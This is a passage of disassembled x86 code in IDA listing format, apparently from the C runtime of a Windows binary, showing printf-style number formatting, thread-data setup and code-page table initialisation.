sub_41E9B0+7CFj mov edx, [ebp+var_4] and edx, 20h test edx, edx jz short loc_41F1F0 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_41F1D0 lea ecx, [ebp+arg_8] push ecx call sub_41F7F0 add esp, 4 movsx eax, ax cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_41F1EE ; --------------------------------------------------------------------------- loc_41F1D0: ; CODE XREF: sub_41E9B0+800j lea edx, [ebp+arg_8] push edx call sub_41F7F0 add esp, 4 and eax, 0FFFFh cdq mov [ebp+var_278], eax mov [ebp+var_274], edx loc_41F1EE: ; CODE XREF: sub_41E9B0+81Ej jmp short loc_41F22F ; --------------------------------------------------------------------------- loc_41F1F0: ; CODE XREF: sub_41E9B0+7F6j mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_41F215 lea ecx, [ebp+arg_8] push ecx call sub_41F7F0 add esp, 4 cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_41F22F ; --------------------------------------------------------------------------- loc_41F215: ; CODE XREF: sub_41E9B0+848j lea edx, [ebp+arg_8] push edx call sub_41F7F0 add esp, 4 xor ecx, ecx mov [ebp+var_278], eax mov [ebp+var_274], ecx loc_41F22F: ; CODE XREF: sub_41E9B0+7E9j ; sub_41E9B0:loc_41F1EEj ... mov edx, [ebp+var_4] and edx, 40h test edx, edx jz short loc_41F277 cmp [ebp+var_274], 0 jg short loc_41F277 jl short loc_41F24D cmp [ebp+var_278], 0 jnb short loc_41F277 loc_41F24D: ; CODE XREF: sub_41E9B0+892j mov eax, [ebp+var_278] neg eax mov ecx, [ebp+var_274] adc ecx, 0 neg ecx mov [ebp+var_26C], eax mov [ebp+var_268], ecx mov edx, [ebp+var_4] or dh, 1 mov [ebp+var_4], edx jmp short loc_41F28F ; --------------------------------------------------------------------------- loc_41F277: ; CODE XREF: sub_41E9B0+887j ; sub_41E9B0+890j ... mov eax, [ebp+var_278] mov [ebp+var_26C], eax mov ecx, [ebp+var_274] mov [ebp+var_268], ecx loc_41F28F: ; CODE XREF: sub_41E9B0+8C5j mov edx, [ebp+var_4] and edx, 8000h test edx, edx jnz short loc_41F2B7 mov eax, [ebp+var_26C] mov ecx, [ebp+var_268] and ecx, 0 mov [ebp+var_26C], eax mov [ebp+var_268], ecx loc_41F2B7: ; CODE XREF: sub_41E9B0+8EAj cmp [ebp+var_234], 0 jge short loc_41F2CC mov [ebp+var_234], 1 jmp short loc_41F2D5 ; --------------------------------------------------------------------------- loc_41F2CC: ; CODE XREF: sub_41E9B0+90Ej mov edx, [ebp+var_4] and edx, 0FFFFFFF7h mov [ebp+var_4], edx loc_41F2D5: ; CODE XREF: sub_41E9B0+91Aj mov eax, [ebp+var_26C] or eax, [ebp+var_268] test eax, eax jnz short loc_41F2EC mov [ebp+var_10], 0 loc_41F2EC: ; CODE XREF: sub_41E9B0+933j lea ecx, [ebp+var_29] mov [ebp+var_20], ecx loc_41F2F2: ; CODE XREF: sub_41E9B0+9EBj mov edx, [ebp+var_234] mov eax, [ebp+var_234] sub eax, 1 mov [ebp+var_234], eax test edx, edx jg short loc_41F31F mov ecx, [ebp+var_26C] or ecx, [ebp+var_268] test ecx, ecx jz loc_41F3A0 loc_41F31F: ; CODE XREF: sub_41E9B0+959j mov eax, [ebp+var_238] cdq push edx push eax mov edx, [ebp+var_268] push edx mov eax, [ebp+var_26C] push eax call sub_41A440 add eax, 30h mov [ebp+var_270], eax mov eax, [ebp+var_238] cdq push edx push eax mov ecx, [ebp+var_268] push ecx mov edx, [ebp+var_26C] push edx call sub_41A3D0 mov [ebp+var_26C], eax mov [ebp+var_268], edx cmp [ebp+var_270], 39h jle short loc_41F387 mov eax, [ebp+var_270] add eax, [ebp+var_230] mov [ebp+var_270], eax loc_41F387: ; CODE XREF: sub_41E9B0+9C3j mov ecx, [ebp+var_20] mov dl, byte ptr [ebp+var_270] mov [ecx], dl mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax jmp loc_41F2F2 ; --------------------------------------------------------------------------- loc_41F3A0: ; CODE XREF: sub_41E9B0+969j lea ecx, [ebp+var_29] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_4] and eax, 200h test eax, eax jz short loc_41F3E7 mov ecx, [ebp+var_20] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_41F3CF cmp [ebp+var_24], 0 jnz short loc_41F3E7 loc_41F3CF: ; CODE XREF: sub_41E9B0+A17j mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_20] mov byte ptr [ecx], 30h mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_41F3E7: ; CODE XREF: sub_41E9B0+371j ; sub_41E9B0+385j ... cmp [ebp+var_23C], 0 jnz loc_41F5C2 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_41F44D mov ecx, [ebp+var_4] and ecx, 100h test ecx, ecx jz short loc_41F41B mov [ebp+var_240], 2Dh mov [ebp+var_10], 1 jmp short loc_41F44D ; --------------------------------------------------------------------------- loc_41F41B: ; CODE XREF: sub_41E9B0+A59j mov edx, [ebp+var_4] and edx, 1 test edx, edx jz short loc_41F435 mov [ebp+var_240], 2Bh mov [ebp+var_10], 1 jmp short loc_41F44D ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41E9B0+A73j mov eax, [ebp+var_4] and eax, 2 test eax, eax jz short loc_41F44D mov [ebp+var_240], 20h mov [ebp+var_10], 1 loc_41F44D: ; CODE XREF: sub_41E9B0+A4Cj ; sub_41E9B0+A69j ... mov ecx, [ebp+var_244] sub ecx, [ebp+var_24] sub ecx, [ebp+var_10] mov [ebp+var_27C], ecx mov edx, [ebp+var_4] and edx, 0Ch test edx, edx jnz short loc_41F485 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_41F760 add esp, 10h loc_41F485: ; CODE XREF: sub_41E9B0+AB7j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_10] push edx lea eax, [ebp+var_240] push eax call sub_41F7A0 add esp, 10h mov ecx, [ebp+var_4] and ecx, 8 test ecx, ecx jz short loc_41F4D3 mov edx, [ebp+var_4] and edx, 4 test edx, edx jnz short loc_41F4D3 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 30h call sub_41F760 add esp, 10h loc_41F4D3: ; CODE XREF: sub_41E9B0+AFBj ; sub_41E9B0+B05j cmp [ebp+var_1C], 0 jz loc_41F581 cmp [ebp+var_24], 0 jle loc_41F581 mov eax, [ebp+var_20] mov [ebp+var_280], eax mov ecx, [ebp+var_24] mov [ebp+var_284], ecx loc_41F4F9: ; CODE XREF: sub_41E9B0+BCAj mov edx, [ebp+var_284] mov eax, [ebp+var_284] sub eax, 1 mov [ebp+var_284], eax test edx, edx jz short loc_41F57F mov ecx, [ebp+var_280] mov dx, [ecx] mov [ebp+var_2A6], dx mov ax, [ebp+var_2A6] push eax lea ecx, [ebp+var_288] push ecx mov edx, [ebp+var_280] add edx, 2 mov [ebp+var_280], edx call sub_4285F0 add esp, 8 mov [ebp+var_28C], eax cmp [ebp+var_28C], 0 jg short loc_41F559 jmp short loc_41F57F ; --------------------------------------------------------------------------- loc_41F559: ; CODE XREF: sub_41E9B0+BA5j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_28C] push edx lea eax, [ebp+var_288] push eax call sub_41F7A0 add esp, 10h jmp loc_41F4F9 ; --------------------------------------------------------------------------- loc_41F57F: ; CODE XREF: sub_41E9B0+B60j ; sub_41E9B0+BA7j jmp short loc_41F59C ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41E9B0+B27j ; sub_41E9B0+B31j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx call sub_41F7A0 add esp, 10h loc_41F59C: ; CODE XREF: sub_41E9B0:loc_41F57Fj mov edx, [ebp+var_4] and edx, 4 test edx, edx jz short loc_41F5C2 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_41F760 add esp, 10h loc_41F5C2: ; CODE XREF: sub_41E9B0+ADj ; sub_41E9B0+155j ... jmp loc_41E9D4 ; --------------------------------------------------------------------------- loc_41F5C7: ; CODE XREF: sub_41E9B0+3Bj ; sub_41E9B0+48j mov eax, [ebp+var_22C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41E9B0 endp ; --------------------------------------------------------------------------- off_41F5D4 dd offset loc_41EA70 ; DATA XREF: sub_41E9B0+B9r dd offset loc_41EB0A dd offset loc_41EB4C dd offset loc_41EBBB dd offset loc_41EC13 dd offset loc_41EC22 dd offset loc_41EC6E dd offset loc_41ED01 off_41F5F4 dd offset loc_41EB98 ; DATA XREF: sub_41E9B0+1CCr dd offset loc_41EBA3 dd offset loc_41EB8E dd offset loc_41EB83 dd offset loc_41EBAE dd offset loc_41EBB6 byte_41F60C db 0 ; DATA XREF: sub_41E9B0+1C6r db 2 dup(5), 1 dd 5050505h, 2050505h, 5050305h db 4 off_41F61D dd offset loc_41ECB0 ; DATA XREF: sub_41E9B0+2EEr dd offset loc_41ECE9 dd offset loc_41ECA5 dd offset loc_41ECF3 dd offset loc_41ECFC byte_41F631 db 0 ; DATA XREF: sub_41E9B0+2E8r dw 404h dd 7 dup(4040404h), 4040401h, 4040402h, 4040404h, 3040404h off_41F660 dd offset loc_41ED3C ; DATA XREF: sub_41E9B0+385r dd offset loc_41EFD0 dd offset loc_41EE60 dd offset loc_41F109 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0EDh, 41h, 0 dd offset loc_41ED51 dd offset loc_41F0DB dd offset loc_41EFE0 dd offset loc_41EF85 dd offset loc_41F155 dd offset loc_41F0FF dd offset loc_41EE76 dd offset loc_41F0F3 dd offset loc_41F115 dd offset loc_41F3E7 byte_41F69C db 0 ; DATA XREF: sub_41E9B0+37Fr db 0Eh, 1, 0Eh dd 0E0E0E01h, 2 dup(0E0E0E0Eh), 0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh) dd 7070605h, 0E060E07h, 80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F6E0 proc near ; CODE XREF: sub_41E9B0+F5p ; sub_41E9B0+14Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, [ebp+arg_4] cmp dword ptr [eax+4], 0 jl short loc_41F722 mov ecx, [ebp+arg_4] mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al movsx ecx, byte ptr [ebp+arg_0] and ecx, 0FFh mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_41F735 ; --------------------------------------------------------------------------- loc_41F722: ; CODE XREF: sub_41F6E0+1Aj mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41E730 add esp, 8 mov [ebp+var_4], eax loc_41F735: ; CODE XREF: sub_41F6E0+40j cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41F746 mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0FFFFFFFFh jmp short loc_41F753 ; --------------------------------------------------------------------------- loc_41F746: ; CODE XREF: sub_41F6E0+59j mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax loc_41F753: ; CODE XREF: sub_41F6E0+64j mov esp, ebp pop ebp retn sub_41F6E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F760 proc near ; CODE XREF: sub_41E9B0+ACDp ; sub_41E9B0+B1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp loc_41F763: ; CODE XREF: sub_41F760:loc_41F791j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_41F793 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx call sub_41F6E0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_41F791 jmp short loc_41F793 ; --------------------------------------------------------------------------- loc_41F791: ; CODE XREF: sub_41F760+2Dj jmp short loc_41F763 ; --------------------------------------------------------------------------- loc_41F793: ; CODE XREF: sub_41F760+11j ; sub_41F760+2Fj pop ebp retn sub_41F760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F7A0 proc near ; CODE XREF: sub_41E9B0+AEBp ; sub_41E9B0+BC2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx loc_41F7A4: ; CODE XREF: sub_41F7A0:loc_41F7E4j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_41F7E6 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx call sub_41F6E0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_41F7E4 jmp short loc_41F7E6 ; --------------------------------------------------------------------------- loc_41F7E4: ; CODE XREF: sub_41F7A0+40j jmp short loc_41F7A4 ; --------------------------------------------------------------------------- loc_41F7E6: ; CODE XREF: sub_41F7A0+12j ; sub_41F7A0+42j mov esp, ebp pop ebp retn sub_41F7A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F7F0 proc near ; CODE XREF: sub_41E9B0+218p ; sub_41E9B0+27Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov eax, [ecx-4] pop ebp retn sub_41F7F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F810 proc near ; CODE XREF: sub_41E9B0+7D5p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] sub ecx, 8 mov eax, [ecx] mov edx, [ecx+4] pop ebp retn sub_41F810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F830 proc near ; CODE XREF: sub_41E9B0+3B2p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov ax, [ecx-4] pop ebp retn sub_41F830 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41F850 proc near ; CODE XREF: ___:004175CAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41F869 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41F869: ; CODE XREF: sub_41F850+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41F850 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx call sub_41B6A0 nop call near ptr 28A0000h mov dword_443E90, eax cmp dword_443E90, 0FFFFFFFFh jnz short loc_41F8B1 xor eax, eax jmp short loc_41F90E ; --------------------------------------------------------------------------- loc_41F8B1: ; CODE XREF: ___:0041F8ABj push 61h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_4151E0 add esp, 14h mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz short loc_41F8E4 mov eax, [ebp-4] push eax mov ecx, dword_443E90 push ecx nop call near ptr 2890A01h test eax, eax jnz short loc_41F8E8 loc_41F8E4: ; CODE XREF: ___:0041F8CDj xor eax, eax jmp short loc_41F90E ; --------------------------------------------------------------------------- loc_41F8E8: ; CODE XREF: ___:0041F8E2j mov edx, [ebp-4] push edx call sub_41F950 add esp, 4 nop call near ptr 289096Fh mov ecx, [ebp-4] mov [ecx], eax mov edx, [ebp-4] mov dword ptr [edx+4], 0FFFFFFFFh mov eax, 1 loc_41F90E: ; CODE XREF: ___:0041F8AFj ; ___:0041F8E6j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_41B6E0 cmp dword_443E90, 0FFFFFFFFh jz short loc_41F947 mov eax, dword_443E90 push eax call near ptr 28A043Ch nop mov dword_443E90, 0FFFFFFFFh loc_41F947: ; CODE XREF: ___:0041F92Fj pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F950 proc near ; CODE XREF: ___:0041F8ECp ; sub_41F970+5Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax+50h], offset dword_4443C8 mov ecx, [ebp+arg_0] mov dword ptr [ecx+14h], 1 pop ebp retn sub_41F950 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F970 proc near ; CODE XREF: sub_417620+Cp ; sub_417B00+3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 nop call near ptr 26908EFh mov [ebp+var_8], eax mov eax, dword_443E90 push eax nop call near ptr 28A0CDDh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41F9F7 push 0E7h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_4151E0 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41F9ED mov ecx, [ebp+var_4] push ecx mov edx, dword_443E90 push edx nop call near ptr 2890A01h test eax, eax jz short loc_41F9ED mov eax, [ebp+var_4] push eax call sub_41F950 add esp, 4 nop call near ptr 289096Fh mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh jmp short loc_41F9F7 ; --------------------------------------------------------------------------- loc_41F9ED: ; CODE XREF: sub_41F970+43j ; sub_41F970+58j push 10h call sub_41A9A0 add esp, 4 loc_41F9F7: ; CODE XREF: sub_41F970+22j ; sub_41F970+7Bj mov eax, [ebp+var_8] push eax nop call near ptr 28A0C44h mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41F970 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_443E90, 0FFFFFFFFh jz loc_41FB15 cmp dword ptr [ebp+8], 0 jnz short loc_41FA35 mov eax, dword_443E90 push eax nop call near ptr 28A0CDDh mov [ebp+8], eax loc_41FA35: ; CODE XREF: ___:0041FA24j cmp dword ptr [ebp+8], 0 jz loc_41FB06 mov ecx, [ebp+8] cmp dword ptr [ecx+24h], 0 jz short loc_41FA59 push 2 mov edx, [ebp+8] mov eax, [edx+24h] push eax call sub_415860 add esp, 8 loc_41FA59: ; CODE XREF: ___:0041FA46j mov ecx, [ebp+8] cmp dword ptr [ecx+28h], 0 jz short loc_41FA73 push 2 mov edx, [ebp+8] mov eax, [edx+28h] push eax call sub_415860 add esp, 8 loc_41FA73: ; CODE XREF: ___:0041FA60j mov ecx, [ebp+8] cmp dword ptr [ecx+30h], 0 jz short loc_41FA8D push 2 mov edx, [ebp+8] mov eax, [edx+30h] push eax call sub_415860 add esp, 8 loc_41FA8D: ; CODE XREF: ___:0041FA7Aj mov ecx, [ebp+8] cmp dword ptr [ecx+38h], 0 jz short loc_41FAA7 push 2 mov edx, [ebp+8] mov eax, [edx+38h] push eax call sub_415860 add esp, 8 loc_41FAA7: ; CODE XREF: ___:0041FA94j mov ecx, [ebp+8] cmp dword ptr [ecx+40h], 0 jz short loc_41FAC1 push 2 mov edx, [ebp+8] mov eax, [edx+40h] push eax call sub_415860 add esp, 8 loc_41FAC1: ; CODE XREF: ___:0041FAAEj mov ecx, [ebp+8] cmp dword ptr [ecx+44h], 0 jz short loc_41FADB push 2 mov edx, [ebp+8] mov eax, [edx+44h] push eax call sub_415860 add esp, 8 loc_41FADB: ; CODE XREF: ___:0041FAC8j mov ecx, [ebp+8] cmp dword ptr [ecx+50h], offset dword_4443C8 jz short loc_41FAF8 push 2 mov edx, [ebp+8] mov eax, [edx+50h] push eax call sub_415860 add esp, 8 loc_41FAF8: ; CODE XREF: ___:0041FAE5j push 2 mov ecx, [ebp+8] push ecx call sub_415860 add esp, 8 loc_41FB06: ; CODE XREF: ___:0041FA39j push 0 mov edx, dword_443E90 push edx nop call near ptr 2890A01h loc_41FB15: ; CODE XREF: ___:0041FA1Aj pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp nop call near ptr 289096Fh pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp nop call near ptr 28A0DEDh pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB40 proc near ; CODE XREF: sub_420320+Ep var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 19h call sub_41B780 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_41FE90 add esp, 4 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] cmp ecx, dword_4DB564 jnz short loc_41FB7B push 19h call sub_41B820 add esp, 4 xor eax, eax jmp loc_41FE80 ; --------------------------------------------------------------------------- loc_41FB7B: ; CODE XREF: sub_41FB40+28j cmp [ebp+arg_0], 0 jnz short loc_41FB9C call sub_41FF70 call sub_41FFF0 push 19h call sub_41B820 add esp, 4 xor eax, eax jmp loc_41FE80 ; --------------------------------------------------------------------------- loc_41FB9C: ; CODE XREF: sub_41FB40+3Fj mov [ebp+var_4], 0 jmp short loc_41FBAE ; --------------------------------------------------------------------------- loc_41FBA5: ; CODE XREF: sub_41FB40:loc_41FCFAj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41FBAE: ; CODE XREF: sub_41FB40+63j cmp [ebp+var_4], 5 jnb loc_41FCFF mov eax, [ebp+var_4] imul eax, 30h mov ecx, dword_443EA0[eax] cmp ecx, [ebp+arg_0] jnz loc_41FCFA mov [ebp+var_24], 0 jmp short loc_41FBDF ; --------------------------------------------------------------------------- loc_41FBD6: ; CODE XREF: sub_41FB40+B2j mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_41FBDF: ; CODE XREF: sub_41FB40+94j cmp [ebp+var_24], 101h jnb short loc_41FBF4 mov eax, [ebp+var_24] mov byte_4DB680[eax], 0 jmp short loc_41FBD6 ; --------------------------------------------------------------------------- loc_41FBF4: ; CODE XREF: sub_41FB40+A6j mov [ebp+var_C], 0 jmp short loc_41FC06 ; --------------------------------------------------------------------------- loc_41FBFD: ; CODE XREF: sub_41FB40:loc_41FC82j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_41FC06: ; CODE XREF: sub_41FB40+BBj cmp [ebp+var_C], 4 jnb short loc_41FC87 mov edx, [ebp+var_4] imul edx, 30h mov eax, [ebp+var_C] lea ecx, dword_443EB0[edx+eax*8] mov [ebp+var_8], ecx jmp short loc_41FC2A ; --------------------------------------------------------------------------- loc_41FC21: ; CODE XREF: sub_41FB40:loc_41FC80j mov edx, [ebp+var_8] add edx, 2 mov [ebp+var_8], edx loc_41FC2A: ; CODE XREF: sub_41FB40+DFj mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_41FC82 mov edx, [ebp+var_8] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_41FC82 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_41FC56 ; --------------------------------------------------------------------------- loc_41FC4D: ; CODE XREF: sub_41FB40+13Ej mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_41FC56: ; CODE XREF: sub_41FB40+10Bj mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_41FC80 mov eax, [ebp+var_24] mov ecx, [ebp+var_C] mov dl, byte_4DB681[eax] or dl, byte_443E98[ecx] mov eax, [ebp+var_24] mov byte_4DB681[eax], dl jmp short loc_41FC4D ; --------------------------------------------------------------------------- loc_41FC80: ; CODE XREF: sub_41FB40+121j jmp short loc_41FC21 ; --------------------------------------------------------------------------- loc_41FC82: ; CODE XREF: sub_41FB40+F3j ; sub_41FB40+FFj jmp loc_41FBFD ; --------------------------------------------------------------------------- loc_41FC87: ; CODE XREF: sub_41FB40+CAj mov ecx, [ebp+arg_0] mov dword_4DB564, ecx mov dword_4DB57C, 1 mov edx, dword_4DB564 push edx call sub_41FEF0 add esp, 4 mov dword_4DB784, eax mov [ebp+var_C], 0 jmp short loc_41FCC0 ; --------------------------------------------------------------------------- loc_41FCB7: ; CODE XREF: sub_41FB40+1A2j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_41FCC0: ; CODE XREF: sub_41FB40+175j cmp [ebp+var_C], 6 jnb short loc_41FCE4 mov ecx, [ebp+var_4] imul ecx, 30h mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov cx, word_443EA4[ecx+eax*2] mov word_4DB570[edx*2], cx jmp short loc_41FCB7 ; --------------------------------------------------------------------------- loc_41FCE4: ; CODE XREF: sub_41FB40+184j call sub_41FFF0 push 19h call sub_41B820 add esp, 4 xor eax, eax jmp loc_41FE80 ; --------------------------------------------------------------------------- loc_41FCFA: ; CODE XREF: sub_41FB40+87j jmp loc_41FBA5 ; --------------------------------------------------------------------------- loc_41FCFF: ; CODE XREF: sub_41FB40+72j lea edx, [ebp+var_20] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 28B0000h cmp eax, 1 jnz loc_41FE52 mov [ebp+var_24], 0 jmp short loc_41FD28 ; --------------------------------------------------------------------------- loc_41FD1F: ; CODE XREF: sub_41FB40+1FBj mov ecx, [ebp+var_24] add ecx, 1 mov [ebp+var_24], ecx loc_41FD28: ; CODE XREF: sub_41FB40+1DDj cmp [ebp+var_24], 101h jnb short loc_41FD3D mov edx, [ebp+var_24] mov byte_4DB680[edx], 0 jmp short loc_41FD1F ; --------------------------------------------------------------------------- loc_41FD3D: ; CODE XREF: sub_41FB40+1EFj mov eax, [ebp+arg_0] mov dword_4DB564, eax mov dword_4DB784, 0 cmp [ebp+var_20], 1 jbe loc_41FE0E lea ecx, [ebp+var_1A] mov [ebp+var_28], ecx jmp short loc_41FD6A ; --------------------------------------------------------------------------- loc_41FD61: ; CODE XREF: sub_41FB40:loc_41FDBAj mov edx, [ebp+var_28] add edx, 2 mov [ebp+var_28], edx loc_41FD6A: ; CODE XREF: sub_41FB40+21Fj mov eax, [ebp+var_28] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_41FDBC mov edx, [ebp+var_28] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_41FDBC mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_41FD96 ; --------------------------------------------------------------------------- loc_41FD8D: ; CODE XREF: sub_41FB40+278j mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_41FD96: ; CODE XREF: sub_41FB40+24Bj mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_41FDBA mov eax, [ebp+var_24] mov cl, byte_4DB681[eax] or cl, 4 mov edx, [ebp+var_24] mov byte_4DB681[edx], cl jmp short loc_41FD8D ; --------------------------------------------------------------------------- loc_41FDBA: ; CODE XREF: sub_41FB40+261j jmp short loc_41FD61 ; --------------------------------------------------------------------------- loc_41FDBC: ; CODE XREF: sub_41FB40+233j ; sub_41FB40+23Fj mov [ebp+var_24], 1 jmp short loc_41FDCE ; --------------------------------------------------------------------------- loc_41FDC5: ; CODE XREF: sub_41FB40+2ACj mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_41FDCE: ; CODE XREF: sub_41FB40+283j cmp [ebp+var_24], 0FFh jnb short loc_41FDEE mov 